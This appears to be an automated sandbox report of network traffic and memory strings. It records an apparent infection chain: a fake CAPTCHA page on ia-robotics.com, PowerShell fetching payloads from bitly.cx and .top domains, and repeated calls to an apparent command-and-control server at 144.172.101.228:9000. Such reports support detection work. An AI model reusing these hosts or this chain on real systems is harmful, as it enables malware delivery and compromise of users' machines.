Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1host: ia-robotics.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://ia-robotics.com/captcha/accept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /ccm/collect?en=page_view&dl=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&scrsrc=www.googletagmanager.com&frm=0&rnd=1559727493.1747856882&dt=Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington&auid=2043224603.1747856882&navt=n&npa=0&gtm=45He55k0v78295896za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101509157~103116026~103130498~103130500~103136993~103136995~103200004~103233427~103252644~103252646~103301114~103301116&tft=1747856881758&tfd=5298&apve=1&apvf=f HTTP/1.1host: www.google.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /x-client-data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiJo8sBCIWgzQEIxeHOAQ==sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /v3/company/details HTTP/1.1host: epsilon.6sense.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?fcb56c85667cf95d3e6d7dffe46dcc7d HTTP/1.1host: ax-ring.msedge.netreferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Initaccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5accept-language: en-CHaccept-encoding: identityuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?41daae4991a558c007bc1c761ae255a6 HTTP/1.1host: ax-ring.msedge.netreferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Initaccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5accept-language: en-CHaccept-encoding: identityuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1host: ia-robotics.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1host: api.ipify.orgsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /origin: https://ia-robotics.comsec-fetch-site: cross-sitesec-fetch-mode: corssec-fetch-dest: emptyreferer: https://ia-robotics.com/accept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1host: api.ipify.orguser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /counter/MTkxLjEwMS42MS4yMw== HTTP/1.1host: browngreencolors.topsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /origin: https://ia-robotics.comsec-fetch-site: cross-sitesec-fetch-mode: corssec-fetch-dest: emptyreferer: https://ia-robotics.com/accept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /7m2yhx HTTP/1.1Host: psee.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /miranda/few HTTP/1.1Host: browngreencolors.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /F4PyN HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bitly.cxConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /frendly/manchester HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: septembergoodwine.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YpUTyLr5k7Fb2Gl&MD=MccxyMTh HTTP/1.1host: slscr.update.microsoft.comaccept: /user-agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33accept-encoding: identity
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?941c3825363a6839f33173a126de5f02 HTTP/1.1host: ev2-ring.msedge.netreferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Initaccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5accept-language: en-CHaccept-encoding: identityuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?8edb52e3cbea2d91db3c7ce8631209c8 HTTP/1.1host: ev2-ring.msedge.netreferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Initaccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5accept-language: en-CHaccept-encoding: identityuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045
Source: global traffic	HTTP traffic detected: GET /wmglb HTTP/1.1Host: 144.172.101.228:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 144.172.101.228:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 144.172.101.228:9000
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 144.172.101.228:9000Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1Host: 144.172.101.228:9000Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: gogocharters.com
Source: global traffic	DNS traffic detected: DNS query: j.6sc.co
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: myvocabulary.com
Source: global traffic	DNS traffic detected: DNS query: clients.contology.com
Source: global traffic	DNS traffic detected: DNS query: secure.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: c.6sc.co
Source: global traffic	DNS traffic detected: DNS query: ipv6.6sc.co
Source: global traffic	DNS traffic detected: DNS query: epsilon.6sense.com
Source: global traffic	DNS traffic detected: DNS query: b.6sc.co
Source: global traffic	DNS traffic detected: DNS query: ia-robotics.com
Source: global traffic	DNS traffic detected: DNS query: analytics.google.com
Source: global traffic	DNS traffic detected: DNS query: stats.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: td.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: browngreencolors.top
Source: global traffic	DNS traffic detected: DNS query: psee.io
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: bitly.cx
Source: global traffic	DNS traffic detected: DNS query: septembergoodwine.top
Source: global traffic	DNS traffic detected: DNS query: beacons.gcp.gvt2.com

Source: unknown

HTTP traffic detected: POST /ccm/collect?en=page_view&dl=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&scrsrc=www.googletagmanager.com&frm=0&rnd=1559727493.1747856882&dt=Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington&auid=2043224603.1747856882&navt=n&npa=0&gtm=45He55k0v78295896za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101509157~103116026~103130498~103130500~103136993~103136995~103200004~103233427~103252644~103252646~103301114~103301116&tft=1747856881758&tfd=5298&apve=1&apvf=f HTTP/1.1host: www.google.comcontent-length: 0sec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: */*origin: https://gogocharters.comx-client-data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiJo8sBCIWgzQEIxeHOAQ==sec-fetch-site: cross-sitesec-fetch-mode: no-corssec-fetch-dest: emptysec-fetch-storage-access: activereferer: https://gogocharters.com/accept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not Founddate: Wed, 21 May 2025 19:48:00 GMTserver: Apache/2.4.46 (Ubuntu)expires: Thu, 19 Nov 1981 08:52:00 GMTcache-control: no-store, no-cache, must-revalidatepragma: no-cachecontent-type: text/html; charset=UTF-8content-length: 26495

Source: powershell.exe, 00000009.00000002.1748128722.000000000334D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: chrome.exe, 0000000E.00000002.2056937755.000011900122C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087087518.000014600122C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dns-tunnel-check.googlezip.net/connect
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dns-tunnel-check.googlezip.net/connect2
Source: powershell.exe, 00000009.00000002.1749078220.0000000005779000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000009.00000002.1750643154.000000000604C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000009.00000002.1749078220.0000000005144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000009.00000002.1749078220.00000000052A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000009.00000002.1749078220.0000000004FF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000009.00000002.1749078220.00000000052A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: chrome.exe, 0000000E.00000002.2056937755.000011900122C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087087518.000014600122C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tls-tunnel-check.googlezip.net/connect
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tls-tunnel-check.googlezip.net/connect2
Source: powershell.exe, 00000009.00000002.1749078220.0000000005144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000009.00000002.1749078220.0000000005254000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1749078220.00000000052A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://a.nel.cloudflare.com/report/v4?s=DTEdn02Etgb3A6kSTnxCM0BKaRJXp6LdAPz2q9gjkuWO5%2Byc%2FfSB55v
Source: powershell.exe, 00000009.00000002.1749078220.000000000523A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1749078220.0000000005227000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1749078220.00000000052A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://a.nel.cloudflare.com/report/v4?s=V2ZF%2B0DOVXqhAridHgV2wazVokRgzPeNa4LR6H52u4R5Ik%2FybgSDzuZ
Source: powershell.exe, 00000009.00000002.1749078220.00000000052A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://a.nel.cloudflare.com/report/v4?s=uxOUYXwrMudqBBBcAmYXet3tH6%2BV%2F3Hj7B8W3QM9Ry1czkVTMK10lq1
Source: powershell.exe, 00000009.00000002.1749078220.0000000004FF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000009.00000002.1749078220.000000000541B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1749078220.0000000005AA3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1749078220.0000000005A85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000009.00000002.1749078220.0000000005AA3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1749078220.0000000005A85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelphZ
Source: powershell.exe, 00000009.00000002.1749078220.00000000052A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitly.cx
Source: powershell.exe, 00000009.00000002.1749078220.00000000052A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitly.cx/F4PyN
Source: powershell.exe, 00000009.00000002.1749078220.0000000005242000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://browngreencolors.top
Source: powershell.exe, 00000009.00000002.1749078220.000000000523E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1749078220.0000000005227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://browngreencolors.top/miranda/few
Source: chrome.exe, 0000000E.00000002.2051190002.0000119000044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2081411131.0000146000044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000002.2139597634.00004C5800044000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromecontentsuggestions-pa.googleapis.com/v1/suggestions/fetch
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromecontentsuggestions-pa.googleapis.com/v1/suggestions/fetch2
Source: chrome.exe, 0000000E.00000002.2051190002.0000119000044000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromefeedcontentsuggestions-pa.googleapis.com/v2/suggestions/fetch
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromefeedcontentsuggestions-pa.googleapis.com/v2/suggestions/fetch26
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromefeedcontentsuggestions-pa.googleapis.com/v2/suggestions/fetchb
Source: chrome.exe, 00000011.00000003.2129065346.00004C5801314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000011.00000003.2129065346.00004C5801314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 0000000E.00000002.2056322361.00001190011B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2057335305.00001190012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2057131461.0000119001278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2057625057.00001190013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087814030.00001460013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087274773.0000146001278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087486697.00001460012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2086387899.00001460011B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2127531597.00004C5801298000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129998035.00004C580134C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2127746299.00004C58012A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129557092.00004C5801344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129153008.00004C5801324000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129447739.00004C5801334000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2127392463.00004C5801288000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129725325.00004C5801348000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2127956062.00004C58012C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2128822420.00004C580130C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129065346.00004C5801314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 0000000E.00000002.2057625057.00001190013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087814030.00001460013A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/https://google-ohttp-relay-join.fastly-edge.com/V=
Source: chrome.exe, 0000000E.00000002.2058196500.0000119001430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2088454835.0000146001430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromeupboarding-pa.googleapis.com
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromeupboarding-pa.googleapis.com2
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromeupboarding-pa.googleapis.com2P
Source: chrome.exe, 00000010.00000002.2081929575.000001E0AD950000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000011.00000002.2132672718.0000025133CB8000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2081531476.00003CA0000D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000010.00000002.2087767371.00003D800002C000.00000004.00000001.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2081929575.000001E0AD976000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2085954702.000001E0AF610000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2081929575.000001E0AD9C6000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000010.00000000.2056820451.000079E00002C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report--annotation=channel=--annotation=plat=Win64--annotation=prod=C
Source: chrome.exe, 00000010.00000000.2055324275.00003D800008C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report--initial-client-data=0x10c
Source: chrome.exe, 00000010.00000000.2055119062.00003D800007C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/reporthttps://clients2.google.com/cr/report
Source: chrome.exe, 00000010.00000000.2055119062.00003D800007C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/reportr
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-autofill.googleapis.com/b-
Source: powershell.exe, 00000009.00000002.1750643154.000000000604C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000009.00000002.1750643154.000000000604C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000009.00000002.1750643154.000000000604C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: chrome.exe, 0000000E.00000002.2055828047.00001190010FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cuscochromeextension-pa.googleapis.com/v_turned_down_returns_404/omniboxsuggestions
Source: chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cuscochromeextension-pa.googleapis.com/v_turned_down_returns_404/omniboxsuggestionsb
Source: powershell.exe, 00000009.00000002.1749078220.0000000005144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: chrome.exe, 00000011.00000003.2128822420.00004C580130C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129065346.00004C5801314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 0000000E.00000002.2057625057.00001190013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087814030.00001460013A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/(B
Source: chrome.exe, 0000000E.00000002.2057625057.00001190013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087814030.00001460013A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/)?
